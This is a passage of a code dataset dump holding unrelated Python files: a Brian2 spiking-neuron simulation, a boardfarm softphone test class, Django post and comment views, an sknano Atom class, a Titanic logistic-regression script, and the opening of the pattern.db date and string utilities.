https://brian2.readthedocs.io/en/stable/user/input.html use timed arrays\n \"\"\"\n coef = 1 / (std * (2 * np.pi) ** (0.5))\n train = []\n time = np.linspace(0, SIM_TIME, num=int(SIM_TIME / dt))\n train = np.zeros_like(time)\n for i, t in enumerate(time):\n print(t)\n exp = -0.5 * ((t - mean) / std) ** 2\n rate = coef * np.exp(exp)\n train[i] = rate\n\n train = train * 40\n plt.plot(time, train)\n plt.xlabel('Time (ms)')\n plt.ylabel('Rates')\n plt.title(f\"SpikeTrain\")\n plt.show()\n return train\n\n\ndef interp_based(a, N=10):\n s = N\n l = (a.size - 1) * s + 1 # total length after interpolation\n return np.interp(np.arange(l), np.arange(l, step=s), a)\n\n\ndef simulation1():\n bs.start_scope()\n\n rates = [5, 10, 15]\n bs.store()\n\n train1 = generate_gaussian_spike_train(mean=1.5, std=1.7)\n train2 = generate_gaussian_spike_train(mean=3, std=1.7)\n # exit(0)\n train_len = train1.shape[0]\n # train_len = 10\n\n total_time = None\n total_spikes = None\n\n for i in range(train_len):\n r1 = train1[i]\n r2 = train2[i]\n place_cell = bs.NeuronGroup(1, model=lif, reset=reset_eq, threshold=threshold_eq, refractory=TAU_M,\n method=\"euler\")\n\n place_cell.tau_m = TAU_M\n # place_cell.tau_s = TAU_S\n\n place_cell.v = -80.0 * bs.mV\n\n print(f\"Rates: {r1, r2}\")\n # bs.restore()\n input = bs.PoissonGroup(2, rates=np.array([r1, r2]) * bs.Hz)\n\n # connect input poisson spike generator to the input cells (grid and boundary vector)\n S1 = bs.Synapses(input, place_cell, on_pre=synaptic_update)\n S1.connect = S1.connect(i=[0, 1], j=0)\n step_per_time = 100\n place_cell_v_monitor = bs.StateMonitor(place_cell, 'v', record=True, dt=(dt / step_per_time) * bs.second)\n\n place_cell_monitor = bs.SpikeMonitor(source=place_cell)\n\n bs.run(dt * bs.second)\n\n spikes_i = place_cell_monitor.i\n spikes_t = place_cell_monitor.t\n\n print(spikes_i)\n print(spikes_t)\n\n if total_spikes is None:\n total_spikes = spikes_t / bs.ms\n else:\n total_spikes = np.concatenate([total_spikes, (i * step_per_time) + spikes_t / bs.ms])\n\n print(\"time\", place_cell_v_monitor.t / bs.ms)\n if total_time is None:\n total_time = place_cell_v_monitor.t / bs.ms\n else:\n total_time = np.concatenate([total_time, (i * step_per_time) + place_cell_v_monitor.t / bs.ms])\n total_time = interp_based(total_time, N=10)\n print(type(total_time))\n print(total_time.shape)\n print(total_time)\n print(total_spikes)\n plt.figure()\n _, ind, _ = np.intersect1d(total_time, total_spikes, assume_unique=True, return_indices=True)\n spikes = np.zeros_like(total_time)\n spikes[ind] = 1\n plt.plot(total_time, spikes)\n plt.xlabel('Time (ms)')\n plt.ylabel('v')\n plt.title(f\"Spikes\")\n plt.show()\n # print(spikes_i, spikes_t)\n # print(place_cell_v_monitor.v)\n # print(type(place_cell_v_monitor.t), type(place_cell_v_monitor.v[0]))\n # plt.figure()\n # plt.plot(place_cell_v_monitor.t / bs.ms, place_cell_v_monitor.v[0])\n # plt.xlabel('Time (ms)')\n # plt.ylabel('v')\n # plt.title(f\"Rates: {r1, r2}\")\n # plt.show()\n\n\nif __name__ == '__main__':\n simulation1()\n","sub_path":"bayesian_test/place_cell_paper_result_second_try.py","file_name":"place_cell_paper_result_second_try.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"475072978","text":"\"\"\"Class functions related to softphone software.\"\"\"\nfrom boardfarm.lib.dns import DNS\nfrom boardfarm.lib.installers import install_pjsua\n\n\nclass SoftPhone(object):\n \"\"\"Perform Functions related to softphone software.\"\"\"\n\n model = \"pjsip\"\n profile = {}\n\n def __init__(self, *args, **kwargs):\n \"\"\"Instance initialization.\"\"\"\n self.args = args\n self.kwargs = kwargs\n self.own_number = self.kwargs.get(\"number\", \"3000\")\n self.num_port = self.kwargs.get(\"num_port\", \"5060\")\n self.config_name = \"pjsip.conf\"\n self.pjsip_local_url = kwargs.get(\"local_site\", None)\n self.pjsip_prompt = \">>>\"\n self.profile[self.name] = self.profile.get(self.name, {})\n softphone_profile = self.profile[self.name] = {}\n softphone_profile[\"on_boot\"] = self.install_softphone\n self.dns = DNS(self, kwargs.get(\"options\", {}), kwargs.get(\"aux_ip\", {}))\n\n def __str__(self):\n \"\"\"Magic method to return a printable string.\"\"\"\n return \"softphone\"\n\n def install_softphone(self):\n \"\"\"Install softphone from local url or from internet.\"\"\"\n self.prefer_ipv4()\n install_pjsua(self, getattr(self, \"pjsip_local_url\", None))\n\n def phone_config(self, sipserver_ip):\n \"\"\"Configure the soft phone.\n\n Arguments:\n sipserver_ip(str): ip of sip server\n \"\"\"\n conf = (\n \"\"\"(\n echo --local-port=\"\"\"\n + self.num_port\n + \"\"\"\n echo --id=sip:\"\"\"\n + self.own_number\n + \"\"\"@\"\"\"\n + sipserver_ip\n + \"\"\"\n echo --registrar=sip:\"\"\"\n + sipserver_ip\n + \"\"\"\n echo --realm=*\n echo --username=\"\"\"\n + self.own_number\n + \"\"\"\n echo --password=1234\n echo --null-audio\n echo --max-calls=1\n echo --auto-answer=180\n )> \"\"\"\n + self.config_name\n )\n self.sendline(conf)\n self.expect(self.prompt)\n\n def phone_start(self):\n \"\"\"Start the soft phone.\n\n Note: Start softphone only when asterisk server is running to avoid failure\n \"\"\"\n self.sendline(\"pjsua --config-file=\" + self.config_name)\n self.expect(r\"registration success, status=200 \\(OK\\)\")\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n\n def dial(self, dial_number, receiver_ip):\n \"\"\"Dial to the other phone.\n\n Arguments:\n dial_number(str): number to dial\n receiver_ip(str): ip of the receiver,it is mta ip the call is dialed to mta\n \"\"\"\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n self.sendline(\"m\")\n self.expect(r\"Make call\\:\")\n self.sendline(\"sip:\" + dial_number + \"@\" + receiver_ip)\n self.expect(\"Call [0-9]* state changed to CALLING\")\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n\n def answer(self):\n \"\"\"To answer the incoming call in soft phone.\"\"\"\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n self.sendline(\"a\")\n self.expect(r\"Answer with code \\(100\\-699\\) \\(empty to cancel\\)\\:\")\n self.sendline(\"200\")\n self.expect(\"Call [0-9]* state changed to CONFIRMED\")\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n\n def hangup(self):\n \"\"\"To hangup the ongoing call.\"\"\"\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n self.sendline(\"h\")\n self.expect(\"DISCON\")\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n\n def reinvite(self):\n \"\"\"To re-trigger the Invite message\"\"\"\n self.sendline(\"\\n\")\n self.expect(self.pjsip_prompt)\n self.sendline(\"v\")\n self.expect(\"Sending re-INVITE on call [0-9]*\")\n self.expect(\"SDP negotiation done: Success\")\n self.sendline(\"\\n\")\n self.expect(self.pjsip_prompt)\n\n def hold(self):\n \"\"\"To hold the current call\"\"\"\n self.sendline(\"\\n\")\n self.expect(self.pjsip_prompt)\n self.sendline(\"H\")\n self.expect(\"Putting call [0-9]* on hold\")\n self.sendline(\"\\n\")\n self.expect(self.pjsip_prompt)\n\n def phone_kill(self):\n \"\"\"To kill the pjsip session.\"\"\"\n # De-Registration is required before quit a phone and q will handle it\n self.sendline(\"q\")\n self.expect(self.prompt)\n\n def validate_state(self, msg):\n \"\"\"Verify the message to validate the status of the call\n\n :param msg: The message to expect on the softphone container\n :type msg: string\n :example usage:\n validate_state('INCOMING') to validate an incoming call.\n validate_state('Current call id= to [CONFIRMED]') to validate call connected.\n :return: boolean True if success\n :rtype: Boolean\n \"\"\"\n self.sendline(\"/n\")\n self.expect(self.pjsip_prompt)\n if msg == \"INCOMING\":\n msg = \"180 Ringing\"\n self.expect(msg)\n self.expect(self.pjsip_prompt)\n return True\n","sub_path":"boardfarm/devices/softphone.py","file_name":"softphone.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"534832023","text":"from django.shortcuts import render, get_object_or_404\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom .forms import *\nfrom .models import *\nfrom events.models import Event\nfrom django.utils import timezone\nfrom notify.signals import notify\nfrom django.contrib.auth.decorators import login_required\nfrom czaswolny.decorators import user_not_banned\nfrom django.views.decorators.http import require_POST\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\n@login_required\n@user_not_banned\ndef index(request):\n return render(request, 'posts/index.html')\n\n\n@login_required\n@user_not_banned\ndef create(request, pk):\n if request.method == \"POST\":\n event = get_object_or_404(Event, pk=pk)\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.publish_date = timezone.now()\n post.save()\n event.posts.add(post)\n return redirect('events:details', pk=event.pk)\n else:\n form = PostForm()\n return render(request, 'posts/create.html', {'form': form})\n\n\n@login_required\n@user_not_banned\ndef createcomment(request, pk, pk2):\n if request.method == \"POST\":\n post = get_object_or_404(Post, pk=pk)\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.publish_date = timezone.now()\n comment.save()\n post.comments.add(comment)\n if request.user != post.author:\n notify.send(request.user, recipient=post.author, actor=request.user, verb='commented your post.', nf_type='post_commented')\n return redirect('posts:details', pk=post.pk, pk2=pk2)\n else:\n form = CommentForm()\n return render(request, 'posts/createcomment.html', {'form': form})\n\n\n@login_required\n@user_not_banned\ndef details(request, pk, pk2):\n if pk is None:\n return HttpResponseRedirect(reverse('events:index'))\n if pk2 is None:\n return HttpResponseRedirect(reverse('events:index'))\n\n post = get_object_or_404(Post, pk=pk)\n event = get_object_or_404(Event, pk=pk2)\n comments_all = post.comments.all().order_by('-publish_date')\n\n # Paginacja co 5 odpowiedzi\n paginator = Paginator(comments_all, 5)\n page = request.GET.get('page', 1)\n try:\n comments = paginator.page(page)\n except PageNotAnInteger:\n comments = paginator.page(1)\n except EmptyPage:\n comments = paginator.page(paginator.num_pages)\n\n return render(request, 'posts/details.html', {'post': post, 'event': event, 'comments': comments})\n\n\n@require_POST\n@login_required\n@user_not_banned\ndef destroy(request, pk, pk2):\n if pk is None:\n return HttpResponseRedirect(reverse('events:index'))\n event = get_object_or_404(Event, pk=pk2)\n post = get_object_or_404(Post, pk=pk)\n\n if request.user != post.author:\n return HttpResponseRedirect(reverse('events:index'))\n\n post.delete()\n return redirect('events:details', pk=event.pk)\n\n\n@require_POST\n@login_required\n@user_not_banned\ndef destroycomment(request, pk, pk2, pk3):\n if pk is None:\n return HttpResponseRedirect(reverse('events:index'))\n if pk2 is None:\n return HttpResponseRedirect(reverse('events:index'))\n event = get_object_or_404(Event, pk=pk2)\n post = get_object_or_404(Post, pk=pk)\n comment = get_object_or_404(Comment, pk=pk3)\n\n if request.user != comment.author:\n return HttpResponseRedirect(reverse('events:index'))\n\n comment.delete()\n return redirect('posts:details', pk=post.pk, pk2=event.pk)\n\n\n@require_POST\n@login_required\n@user_not_banned\ndef like(request, pk, pk2):\n if pk is None:\n return HttpResponseRedirect(reverse('posts:index'))\n\n post = get_object_or_404(Post, pk=pk)\n event = get_object_or_404(Event, pk=pk2)\n comments = post.comments.all()\n post.likes.add(request.user)\n\n return render(request, 'posts/details.html', {'post': post, 'event': event, 'comments': comments})\n\n\n@require_POST\n@login_required\n@user_not_banned\ndef unlike(request, pk, pk2):\n if pk is None:\n return HttpResponseRedirect(reverse('events:index'))\n\n post = get_object_or_404(Post, pk=pk)\n event = get_object_or_404(Event, pk=pk2)\n comments = post.comments.all()\n post.likes.remove(request.user)\n\n return render(request, 'posts/details.html', {'post': post, 'event': event, 'comments': comments})\n","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"177792672","text":"# -*- coding: utf-8 -*-\n\"\"\"\n============================================================================\nBase class for structure data atom (:mod:`sknano.structure_io.atoms._atom`)\n============================================================================\n\n.. currentmodule:: sknano.structure_io.atoms._atom\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n__docformat__ = 'restructuredtext en'\n\nfrom collections import OrderedDict\n\nimport numpy as np\n\nfrom ...tools import Vector, xyz_axes\nfrom ...tools.refdata import atomic_masses, atomic_mass_symbol_map, \\\n atomic_numbers, atomic_number_symbol_map, element_symbols\n\n__all__ = ['Atom']\n\n\nclass Atom(object):\n \"\"\"Base class for structure data atom.\n\n Parameters\n ----------\n element : {str, int}, optional\n A string representation of the element symbol or an integer specifying\n an element atomic number.\n x, y, z : float, optional\n :math:`x, y, z` coordinates of `Atom`.\n\n \"\"\"\n\n def __init__(self, element=None, m=None, x=None, y=None, z=None):\n\n self._r = Vector(x=x, y=y, z=z)\n\n self._m = None\n self._symbol = None\n self._Z = None\n\n if isinstance(element, (int, float)):\n self._Z = int(element)\n idx = self._Z - 1\n try:\n self._symbol = element_symbols[idx]\n self._m = atomic_masses[self._symbol]\n except KeyError:\n print('unrecognized element number: {}'.format(element))\n elif isinstance(element, str):\n self._symbol = element\n try:\n self._Z = atomic_numbers[self._symbol]\n self._m = atomic_masses[self._symbol]\n except KeyError:\n print('Unrecognized atomic symbol: {}'.format(element))\n else:\n self._symbol = None\n self._Z = None\n if m is not None and isinstance(m, (int, float)):\n try:\n if isinstance(m, float):\n self._symbol = atomic_mass_symbol_map[m]\n elif isinstance(m, int):\n self._symbol = atomic_number_symbol_map[int(m / 2)]\n self._Z = atomic_numbers[self._symbol]\n self._m = atomic_masses[self._symbol]\n except KeyError:\n self._symbol = None\n self._Z = None\n self._m = m\n else:\n self._m = 0\n\n self._atomdict = OrderedDict()\n self._atomdict['element'] = self._symbol\n self._atomdict['x'] = self._r.x\n self._atomdict['y'] = self._r.y\n self._atomdict['z'] = self._r.z\n\n self._attributes = ['symbol', 'Z', 'm', 'r']\n\n def __str__(self):\n \"\"\"Return string representation of atom.\"\"\"\n atom_str = ''\n for attr in self._attributes:\n atom_str += \\\n 'Atom {}: {}\\n'.format(attr, getattr(self, '_' + attr))\n return atom_str\n\n @property\n def atomdict(self):\n \"\"\"Return dictionary of atom attributes.\"\"\"\n return self._atomdict\n\n @property\n def Z(self):\n \"\"\"Atomic number :math:`Z`.\n\n Returns\n -------\n int\n Atomic number :math:`Z`.\n \"\"\"\n return self._Z\n\n @property\n def element(self):\n \"\"\"Element symbol.\n\n Returns\n -------\n str\n Element symbol.\n \"\"\"\n return self.symbol\n\n @property\n def symbol(self):\n \"\"\"Element symbol.\n\n Returns\n -------\n str\n Element symbol.\n \"\"\"\n return self._symbol\n\n @property\n def m(self):\n \"\"\"Atomic mass :math:`m_a` in atomic mass units.\n\n Returns\n -------\n float\n Atomic mass :math:`m_a` in atomic mass units.\n \"\"\"\n return self._m\n\n @property\n def x(self):\n \"\"\":math:`x`-coordinate in units of **Angstroms**.\n\n Returns\n -------\n float\n :math:`x`-coordinate in units of **Angstroms**.\n\n \"\"\"\n return self._r.x\n\n @x.setter\n def x(self, value=float):\n \"\"\"Set `Atom` :math:`x`-coordinate in units of **Angstroms**.\n\n Parameters\n ----------\n value : float\n :math:`x`-coordinate in units of **Angstroms**.\n\n \"\"\"\n self._r.x = self._atomdict['x'] = value\n\n @property\n def y(self):\n \"\"\":math:`y`-coordinate in units of **Angstroms**.\n\n Returns\n -------\n float\n :math:`y`-coordinate in units of **Angstroms**.\n\n \"\"\"\n return self._r.y\n\n @y.setter\n def y(self, value=float):\n \"\"\"Set `Atom` :math:`y`-coordinate in units of **Angstroms**.\n\n Parameters\n ----------\n value : float\n :math:`y`-coordinate in units of **Angstroms**.\n\n \"\"\"\n self._r.y = self._atomdict['y'] = value\n\n @property\n def z(self):\n \"\"\":math:`z`-coordinate in units of **Angstroms**.\n\n Returns\n -------\n float\n :math:`z`-coordinate in units of **Angstroms**.\n\n \"\"\"\n return self._r.z\n\n @z.setter\n def z(self, value=float):\n \"\"\"Set `Atom` :math:`z`-coordinate in units of **Angstroms**.\n\n Parameters\n ----------\n value : float\n :math:`z`-coordinate in units of **Angstroms**.\n\n \"\"\"\n self._r.z = self._atomdict['z'] = value\n\n @property\n def r(self):\n \"\"\":math:`x, y, z` coordinates of `Atom` in units of **Angstroms**.\n\n Returns\n -------\n ndarray\n 3-element ndarray of [:math:`x, y, z`] coordinates of `Atom`.\n\n \"\"\"\n return self._r.components\n\n @r.setter\n def r(self, value=np.ndarray):\n \"\"\"Set :math:`x, y, z` coordinates of `Atom`.\n\n Parameters\n ----------\n value : array_like\n 3-element array of :math:`x, y, z`-coordinates in units of\n **Angstroms**.\n\n \"\"\"\n self.x, self.y, self.z = value[0], value[1], value[2]\n\n def fix_minus_zero_coords(self, epsilon=1.0e-10):\n \"\"\"Set really really small negative coordinates to zero.\n\n Set all coordinates with absolute value less than\n epsilon zero so we don't end up with -0.00000\n coordinates in structure data output.\n\n Parameters\n ----------\n epsilon : float\n smallest allowed absolute value of any :math:`x,y,z` component.\n\n \"\"\"\n self._r.fix_minus_zero_components(epsilon=epsilon)\n\n def get_coords(self, components=None, as_dict=False):\n \"\"\"Return atom coords.\n\n Parameters\n ----------\n components : {None, sequence}, optional\n as_dict : bool, optional\n\n Returns\n -------\n coords : :py:class:`python:~collections.OrderedDict` or ndarray\n\n \"\"\"\n coords = self.r\n if as_dict:\n if components is None or components == 'r':\n components = ('x', 'y', 'z')\n elif isinstance(components, str):\n components = (components,)\n\n return OrderedDict(zip(\n components, [coords[xyz_axes.index(component)] for\n component in components]))\n else:\n return coords\n\n def rezero_coords(self, epsilon=1.0e-10):\n \"\"\"Re-zero position coordinates near zero.\n\n Set position coordinates with absolute value less than `epsilon` to\n zero.\n\n Parameters\n ----------\n epsilon : float\n smallest allowed absolute value of any :math:`x,y,z` component.\n\n \"\"\"\n self._r.rezero_components(epsilon=epsilon)\n","sub_path":"sknano/structure_io/atoms/_atom.py","file_name":"_atom.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"506278269","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 25 21:20:54 2018\n\n@author: victor\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\n\ntrain = pd.read_csv('titanic_train.csv')\n\nplt.figure(figsize=(12,6))\nsns.heatmap(train.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n\nsns.set_style('whitegrid')\nsns.countplot(x='Survived', data=train, hue='Pclass', palette='rainbow')\n\ntrain['Age'].hist(bins=30, color='darkred', alpha=0.4)\n\nsns.countplot(x='SibSp', data=train)\n\ntrain[train['SibSp']==0]['Age'].hist(bins=30)\n\nplt.figure(figsize=(12, 6))\nsns.boxplot(x='Pclass', y='Age', data=train)\n\ndef inputar_idade(cols):\n idade = cols[0]\n classe = cols[1]\n \n if(pd.isnull(idade)):\n if(classe == 1):\n return 37\n elif(classe == 2):\n return 29\n else:\n return 24\n else:\n return idade \n\ntrain['Age'] = train[['Age', 'Pclass']].apply(inputar_idade, axis=1)\n\ndel train['Cabin']\n# train.drop['Cabin', implace=True]\n\ntrain.dropna(inplace=True)\n\n#plt.figure(figsize=(12,6))\n#sns.heatmap(train.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n\nsex = pd.get_dummies(train['Sex'], drop_first=True)\n\nembark = pd.get_dummies(train['Embarked'], drop_first=True)\n\ntrain.drop(['Sex', 'PassengerId', 'Name', 'Ticket'], axis=1, inplace=True)\n\ntrain = pd.concat([train, sex, embark], axis=1)\n\ndel train['Embarked']\n\nx_train, x_test, y_train, y_test = train_test_split(train.drop('Survived', axis=1), train['Survived'], test_size=0.3)\n\nlogmodel = LogisticRegression()\n\nlogmodel.fit(x_train, y_train)\n\nprections = logmodel.predict(x_test)\n\nprint(classification_report(y_test, prections))\nprint()\nprint(confusion_matrix(y_test, prections))\n","sub_path":"regressoesLogistica/aula02.py","file_name":"aula02.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"81471130","text":"#### PATTERN | DB ##################################################################################\n# -*- coding: utf-8 -*-\n# Copyright (c) 2010 University of Antwerp, Belgium\n# Author: Tom De Smedt \n# License: BSD (see LICENSE.txt for details).\n# http://www.clips.ua.ac.be/pages/pattern\n\n####################################################################################################\n\nimport os\nimport sys\nimport inspect\nimport re\nimport base64\nimport json\n\nimport csv as csvlib\n\nfrom codecs import BOM_UTF8\nfrom itertools import islice\nfrom datetime import datetime, timedelta\nfrom calendar import monthrange\nfrom time import mktime, strftime\nfrom math import sqrt\n\nfrom functools import cmp_to_key\n\nfrom io import open, StringIO, BytesIO\n\nBOM_UTF8 = BOM_UTF8.decode(\"utf-8\")\n\nfrom html.entities import name2codepoint\n\nfrom email.utils import parsedate_tz, mktime_tz\n\ntry:\n MODULE = os.path.dirname(os.path.realpath(__file__))\nexcept:\n MODULE = \"\"\n\nfrom pattern.helpers import encode_string, decode_string\n\ndecode_utf8 = decode_string\nencode_utf8 = encode_string\n\nALL = \"*\"\n\n_sum = sum # pattern.db.sum() is also a column aggregate function.\n\n#### DATE FUNCTIONS ################################################################################\n\nNOW, YEAR = \"now\", datetime.now().year\n\n# Date formats can be found in the Python documentation:\n# http://docs.python.org/library/time.html#time.strftime\nDEFAULT_DATE_FORMAT = \"%Y-%m-%d %H:%M:%S\"\ndate_formats = [\n DEFAULT_DATE_FORMAT, # 2010-09-21 09:27:01 => SQLite + MySQL\n \"%Y-%m-%dT%H:%M:%SZ\", # 2010-09-20T09:27:01Z => Bing\n \"%a, %d %b %Y %H:%M:%S +0000\", # Fri, 21 Sep 2010 09:27:01 +000 => Twitter\n \"%a %b %d %H:%M:%S +0000 %Y\", # Fri Sep 21 09:21:01 +0000 2010 => Twitter\n \"%Y-%m-%dT%H:%M:%S+0000\", # 2010-09-20T09:27:01+0000 => Facebook\n \"%Y-%m-%d %H:%M\", # 2010-09-21 09:27\n \"%Y-%m-%d\", # 2010-09-21\n \"%d/%m/%Y\", # 21/09/2010\n \"%d %B %Y\", # 21 September 2010\n \"%d %b %Y\", # 21 Sep 2010\n \"%B %d %Y\", # September 21 2010\n \"%B %d, %Y\", # September 21, 2010\n]\n\n\ndef _yyyywwd2yyyymmdd(year, week, weekday):\n \"\"\" Returns (year, month, day) for given (year, week, weekday).\n \"\"\"\n d = datetime(year, month=1, day=4) # 1st week contains January 4th.\n d = d - timedelta(d.isoweekday() - 1) + timedelta(days=weekday - 1, weeks=week - 1)\n return (d.year, d.month, d.day)\n\n\ndef _strftime1900(d, format):\n \"\"\" Returns the given date formatted as a string.\n \"\"\"\n if d.year < 1900: # Python's strftime() doesn't handle year < 1900.\n return strftime(format, (1900,) + d.timetuple()[1:]).replace(\"1900\", str(d.year), 1)\n return datetime.strftime(d, format)\n\n\nclass DateError(Exception):\n pass\n\n\nclass Date(datetime):\n \"\"\" A convenience wrapper for datetime.datetime with a default string format.\n \"\"\"\n format = DEFAULT_DATE_FORMAT\n # Date.year\n # Date.month\n # Date.day\n # Date.minute\n # Date.second\n\n @property\n def minutes(self):\n return self.minute\n\n @property\n def seconds(self):\n return self.second\n\n @property\n def microseconds(self):\n return self.microsecond\n\n @property\n def week(self):\n return self.isocalendar()[1]\n\n @property\n def weekday(self):\n return self.isocalendar()[2]\n\n @property\n def timestamp(self):\n\n # In Python 3, years before 1900 are accepted whilee mktime() raises ValueError in Python 2. Let's stick to this.\n if self.timetuple().tm_year < 1900:\n raise ValueError(\"year out of range\")\n\n return int(mktime(self.timetuple())) # Seconds elapsed since 1/1/1970.\n\n def strftime(self, format):\n return _strftime1900(self, format)\n\n def copy(self):\n return date(self.timestamp)\n\n def __str__(self):\n return self.strftime(self.format)\n\n def __repr__(self):\n return \"Date(%s)\" % repr(self.__str__())\n\n def __iadd__(self, t):\n return self.__add__(t)\n\n def __isub__(self, t):\n return self.__sub__(t)\n\n def __add__(self, t):\n d = self\n if getattr(t, \"years\", 0) \\\n or getattr(t, \"months\", 0):\n # January 31 + 1 month = February 28.\n y = (d.month + t.months - 1) // 12 + d.year + t.years\n m = (d.month + t.months + 0) % 12 or 12\n r = monthrange(y, m)\n d = date(y, m, min(d.day, r[1]), d.hour, d.minute, d.second, d.microsecond)\n d = datetime.__add__(d, t)\n return date(d.year, d.month, d.day, d.hour, d.minute, d.second, d.microsecond, self.format)\n\n def __sub__(self, t):\n if isinstance(t, (Date, datetime)):\n # Subtracting two dates returns a Time.\n t = datetime.__sub__(self, t)\n return Time(+t.days, +t.seconds,\n microseconds = +t.microseconds)\n if isinstance(t, (Time, timedelta)):\n return self + Time(-t.days, -t.seconds,\n microseconds = -t.microseconds,\n months = -getattr(t, \"months\", 0),\n years = -getattr(t, \"years\", 0))\n\n\ndef date(*args, **kwargs):\n \"\"\" Returns a Date from the given parameters:\n - date(format=Date.format) => now\n - date(int)\n - date(string)\n - date(string, format=Date.format)\n - date(string, inputformat, format=Date.format)\n - date(year, month, day, format=Date.format)\n - date(year, month, day, hours, minutes, seconds, format=Date.format)\n If a string is given without an explicit input format, all known formats will be tried.\n \"\"\"\n d = None\n f = None\n if len(args) == 0 \\\n and kwargs.get(\"year\") is not None \\\n and kwargs.get(\"month\") \\\n and kwargs.get(\"day\"):\n # Year, month, day.\n d = Date(**kwargs)\n elif kwargs.get(\"week\"):\n # Year, week, weekday.\n f = kwargs.pop(\"format\", None)\n d = Date(*_yyyywwd2yyyymmdd(\n kwargs.pop(\"year\", args and args[0] or Date.now().year),\n kwargs.pop(\"week\"),\n kwargs.pop(\"weekday\", kwargs.pop(\"day\", 1))), **kwargs)\n elif len(args) == 0 or args[0] == NOW:\n # No parameters or one parameter NOW.\n d = Date.now()\n elif len(args) == 1 \\\n and isinstance(args[0], (Date, datetime)):\n # One parameter, a Date or datetime object.\n d = Date.fromtimestamp(int(mktime(args[0].timetuple())))\n d += time(microseconds=args[0].microsecond)\n elif len(args) == 1 \\\n and (isinstance(args[0], int) \\\n or isinstance(args[0], (str, bytes)) and args[0].isdigit()):\n # One parameter, an int or string timestamp.\n if isinstance(args[0], bytes):\n args = (args[0].decode(\"utf-8\"),)\n d = Date.fromtimestamp(int(args[0]))\n elif len(args) == 1 \\\n and isinstance(args[0], (str, bytes)):\n # One parameter, a date string for which we guess the input format (RFC2822 or known formats).\n if isinstance(args[0], bytes):\n args = (args[0].decode(\"utf-8\"),)\n try:\n d = Date.fromtimestamp(mktime_tz(parsedate_tz(args[0])))\n except:\n for format in (\"format\" in kwargs and [kwargs[\"format\"]] or []) + date_formats:\n try:\n d = Date.strptime(args[0], format)\n break\n except:\n pass\n if d is None:\n raise DateError(\"unknown date format for %s\" % repr(args[0]))\n elif len(args) == 2 \\\n and isinstance(args[0], (str, bytes)):\n # Two parameters, a date string and an explicit input format.\n if isinstance(args[0], bytes):\n args = (args[0].decode(\"utf-8\"), args[1].decode(\"utf-8\"))\n d = Date.strptime(args[0], args[1])\n elif len(args) >= 3:\n # 3-6 parameters: year, month, day, hours, minutes, seconds.\n f = kwargs.pop(\"format\", None)\n d = Date(*args[:7], **kwargs)\n else:\n raise DateError(\"unknown date format\")\n d.format = kwargs.get(\"format\") or len(args) > 7 and args[7] or f or Date.format\n return d\n\n\nclass Time(timedelta):\n\n def __new__(cls, *args, **kwargs):\n \"\"\" A convenience wrapper for datetime.timedelta that handles months and years.\n \"\"\"\n # Time.years\n # Time.months\n # Time.days\n # Time.seconds\n # Time.microseconds\n y = kwargs.pop(\"years\", 0)\n m = kwargs.pop(\"months\", 0)\n t = timedelta.__new__(cls, *args, **kwargs)\n setattr(t, \"years\", y)\n setattr(t, \"months\", m)\n return t\n\n\ndef time(days=0, seconds=0, minutes=0, hours=0, **kwargs):\n \"\"\" Returns a Time that can be added to a Date object.\n Other parameters: microseconds, milliseconds, weeks, months, years.\n \"\"\"\n return Time(days=days, seconds=seconds, minutes=minutes, hours=hours, **kwargs)\n\n\ndef string(value, default=\"\"):\n \"\"\" Returns the value cast to unicode, or default if it is None/empty.\n \"\"\"\n # Useful for HTML interfaces.\n if value is None or value == \"\": # Don't do value != None because this includes 0.\n return default\n return decode_utf8(value)\n\n\nclass EncryptionError(Exception):\n pass\n\n\nclass DecryptionError(Exception):\n pass\n\n\ndef encrypt_string(s, key=\"\"):\n \"\"\" Returns the given string as an encrypted bytestring.\n \"\"\"\n key += \" \"\n a = []\n for i in range(len(s)):\n try:\n a.append(chr(ord(s[i]) + ord(key[i % len(key)]) % 256).encode(\"latin-1\"))\n except:\n raise EncryptionError()\n s = b\"\".join(a)\n s = base64.urlsafe_b64encode(s)\n return s\n\n\ndef decrypt_string(s, key=\"\"):\n \"\"\" Returns the given string as a decrypted Unicode string.\n \"\"\"\n key += \" \"\n s = base64.urlsafe_b64decode(s)\n s = s.decode(\"latin-1\")\n a = []\n for i in range(len(s)):\n try:\n a.append(chr(ord(s[i]) - ord(key[i % len(key)]) % 256))\n except:\n raise DecryptionError()\n s = \"\".join(a)\n s = decode_utf8(s)\n return s\n\n\n#### LIST FUNCTIONS ################################################################################\n\n\ndef order(list, cmp=None, key=None, reverse=False):\n \"\"\" Returns a list of indices in the order as when the given list is sorted.\n For example: 